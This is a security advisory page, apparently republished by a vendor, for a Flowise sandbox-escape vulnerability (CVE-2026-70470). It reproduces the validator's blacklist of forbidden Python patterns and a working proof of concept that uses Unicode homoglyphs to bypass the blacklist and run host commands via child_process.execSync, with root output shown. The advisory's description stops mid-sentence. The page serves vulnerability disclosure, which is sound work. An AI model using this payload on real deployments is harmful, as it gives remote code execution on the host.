Skip to main content

Boteraser | Website and Server Security Solutions

🛡️ CVE-2026-70470 — flowise

🔴 CVSS 9.5 — Critical ✅ No Known Exploit CWE-184 NVD
9.5
CVSS Score
0 Low4 Medium7 High9 Critical10

Description

Flowise: Pyodide validator Unicode homoglyph bypass leads to RCE

Summary

The validatePythonCodeForDataFrame blacklist in packages/components/src/pythonCodeValidator.ts can be bypassed with Unicode homoglyph identifiers, allowing arbitrary Python execution inside Pyodide and full OS command execution on the Flowise host via Pyodide's js module interop. This reopens the RCE paths patched as GHSA-3hjv-c53m-58jj (CSV Agent) and GHSA-v38x-c887-992f (Airtable Agent).

Details

packages/components/src/pythonCodeValidator.ts gates every call to pyodide.runPythonAsync in packages/components/nodes/agents/CSVAgent/CSVAgent.ts (lines 147, 198) and packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts (line 186). The gate is a regex blacklist:

```ts

{ pattern: /\bimport\b/g, ... },

{ pattern: /\b__class__\b/g, ... },

{ pattern: /\b__subclasses__\s*\(/g, ... },

{ pattern: /\b__builtins__\b/g, ... },

{ pattern: /\b__mro__\b/g, ... },

// ... about 30 similar rules

```

Two design flaws combine into a bypass:

1. JavaScript regex \b is ASCII-only. Word boundaries are computed against the ASCII word class [A-Za-z0-9_]. A Unicode letter such as U+1D41A (mathematical bold small a) is treated as a non-word character, so \b__class__\b never matches __cl𝐚ss__.

2. Python 3 (PEP 3131) NFKC-normalizes every identifier at parse time. __cl𝐚ss__, __subcl𝐚sses__, __b𝐚se__, __b𝐮iltins__, and similar homoglyph forms are all parsed as their ASCII equivalents.

Attribute access obj.__cl𝐚ss__ is normalized because attribute names are identifiers. Dict string keys such as bi['__import__'] are not normalized, but they are free text and can be assembled with chr() to avoid literal matches on patterns like \bimport\b or \b__import__\s*\(/.

From inside Pyodide, __builtins__['__import__']('js') yields the JS host bridge. In the Node.js host that runs Flowise, that bridge exposes process.mainModule.require('child_process').execSync, which runs native commands on the host with the privileges of the Flowise process.

Affected call sites:

  • packages/components/nodes/agents/CSVAgent/CSVAgent.ts:147 validates customReadCSV (node-config-controlled, interpolated into the read-CSV script on line 167) and 198 validates the LLM-generated pythonCode before it reaches pyodide.runPythonAsync(code) on line 209.
  • packages/components/nodes/agents/AirtableAgent/AirtableAgent.ts:186 validates the LLM-generated pythonCode before pyodide.runPythonAsync on line 197.

The original patches for GHSA-3hjv-c53m-58jj (commit a24acac, PR #5701) and a24acac's follow-up (commit 0c8236a, PR #5836) rely entirely on this validator. Because the validator is bypassable, both advisories are effectively reintroduced in 3.1.2.

PoC

Standalone reproduction that mirrors the exact code paths in CSVAgent.ts / AirtableAgent.ts. It feeds a malicious pythonCode to the real validator, confirms the validator returns valid: true, then runs the same string through Pyodide and prints the output of a native command executed on the host:

```js

// npm install pyodide

const { loadPyodide } = require('pyodide')

const FORBIDDEN_PATTERNS = [

{ pattern: /\bfrom\s+\S+\s+import\b/g }, { pattern: /\bimport\b/g },

{ pattern: /\beval\s*\(/g }, { pattern: /\bexec\s*\(/g },

{ pattern: /\bcompile\s*\(/g }, { pattern: /\b__import__\s*\(/g },

{ pattern: /\bopen\s*\(/g }, { pattern: /\bgetattr\s*\(/g },

{ pattern: /\bos\./g }, { pattern: /\bsubprocess\./g },

{ pattern: /\bsys\./g }, { pattern: /\bsocket\./g },

{ pattern: /\burllib\./g }, { pattern: /\brequests\./g },

{ pattern: /\b__builtins__\b/g }, { pattern: /\b__class__\b/g },

{ pattern: /\b__subclasses__\s*\(/g }, { pattern: /\b__bases__\b/g },

{ pattern: /\b__mro__\b/g }, { pattern: /\b__globals__\b/g },

{ pattern: /\b__code__\b/g }, { pattern: /\b__dict__\b/g },

]

const validate = (code) => FORBIDDEN_PATTERNS.every(p => { p.pattern.lastIndex = 0; return !p.pattern.test(code) })

const payload = `

cls = ().__cl\u{1D41A}ss__

base = cls.__b\u{1D41A}se__

subs = base.__subcl\u{1D41A}sses__()

for c in subs:

if c.__name__ == 'catch_warnings':

cw = c()

bi = cw._module.__b\u{1D42E}iltins__

imp_name = chr(95)*2 + 'imp' + 'ort' + chr(95)*2

imp = bi[imp_name]

js_mod = imp(chr(106)+chr(115))

cp_name = 'child' + chr(95) + 'process'

cp = js_mod.process.mainModule.require(cp_name)

opts = js_mod.Object.new(); opts.encoding = 'utf8'

result = cp.execSync('id && hostname && echo FLOWISE_RCE_CONFIRMED', opts)

break

str(result)

`

;(async () => {

console.log('validator passes:', validate(payload)) // true

const py = await loadPyodide()

console.log(await py.runPythonAsync(payload))

})()

```

Run output on a stock host:

```

validator passes: true

uid=0(root) gid=0(root) groups=0(root)

<hostname>

FLOWISE_RCE_CONFIRMED

```

Live path against a Flowise deployment:

1. Workspace user (or any user able to

How this vulnerability can be exploited

This issue can be reached over the network, attack complexity is high, an attacker needs no privileges on the target. No user interaction is required. Rated impact: confidentiality high, integrity high, availability high.

CVSS metrics in full

The score comes from this vector: CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H

  • Attack vector: Network — reachable from anywhere that can route to the service.
  • Attack complexity: High — the attacker first has to win a race, learn a secret or otherwise prepare the target.
  • Attack requirements: None — no deployment-specific condition has to hold.
  • Privileges required: None — an unauthenticated stranger can try it.
  • User interaction: None — nobody has to be tricked into anything.
  • Confidentiality impact: High — total loss, or loss the attacker controls.
  • Integrity impact: High — total loss, or loss the attacker controls.
  • Availability impact: High — total loss, or loss the attacker controls.

Weakness class

CVE-2026-70470 is classified as CWE-184: Incomplete List of Disallowed Inputs. The product implements a protection mechanism that relies on a list of inputs (or properties of inputs) that are not allowed by policy or otherwise require other action to neutralize before additional processing takes place, but the list is incomplete.

Affected software

CVE-2026-70470 is recorded against 3 packages.

  • flowise
  • flowise-components
  • unknown

Timeline and source

Published on 4 August 2026. No public exploit is currently recorded for this entry. Record sourced from NVD.

References

github.com (Web)
github.com (Web)
github.com (Web)
github.com (Package)
github.com (Web)

Other advisories for this package

flowise has other advisories on record. If you are patching this one, these are worth checking on the same host:

Same weakness in other software

These advisories are the same class of weakness (CWE-184: Incomplete List of Disallowed Inputs) in other software:

Details

Severity CRITICAL
CVSS Score 9.5
CVSS Vector CVSS:4.0/AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H
CWE CWE-184
Public Exploit ✅ No
Source NVD
Published 2026-08-04
Updated 2026-08-20
Modified 2026-08-04
Fix URL N/A

Affected Packages

Software From version Fixed in
flowise
flowise-components
unknown

Similar Threats

Exploit Protection

Are you running flowise?

CVE-2026-70470 carries CVSS 9.5 Critical rating. BotEraser checks your installation against this and other known CVE records, and blocks IPs associated with exploit activity.

Check My Site For CVE-2026-70470 →

No credit card required  ·  Results in minutes

ⓘ Data Notice: The information presented above has been compiled from publicly available internet sources. Boteraser aggregates this data solely for informational purposes and does not independently classify, evaluate, or endorse any findings about the vulnerabilities listed. The accuracy and completeness of this information is the sole responsibility of the original publishers. Boteraser and its operators accept no liability for any decisions made based on this data.

Browse related advisories

All advisoriesCVECVE 2026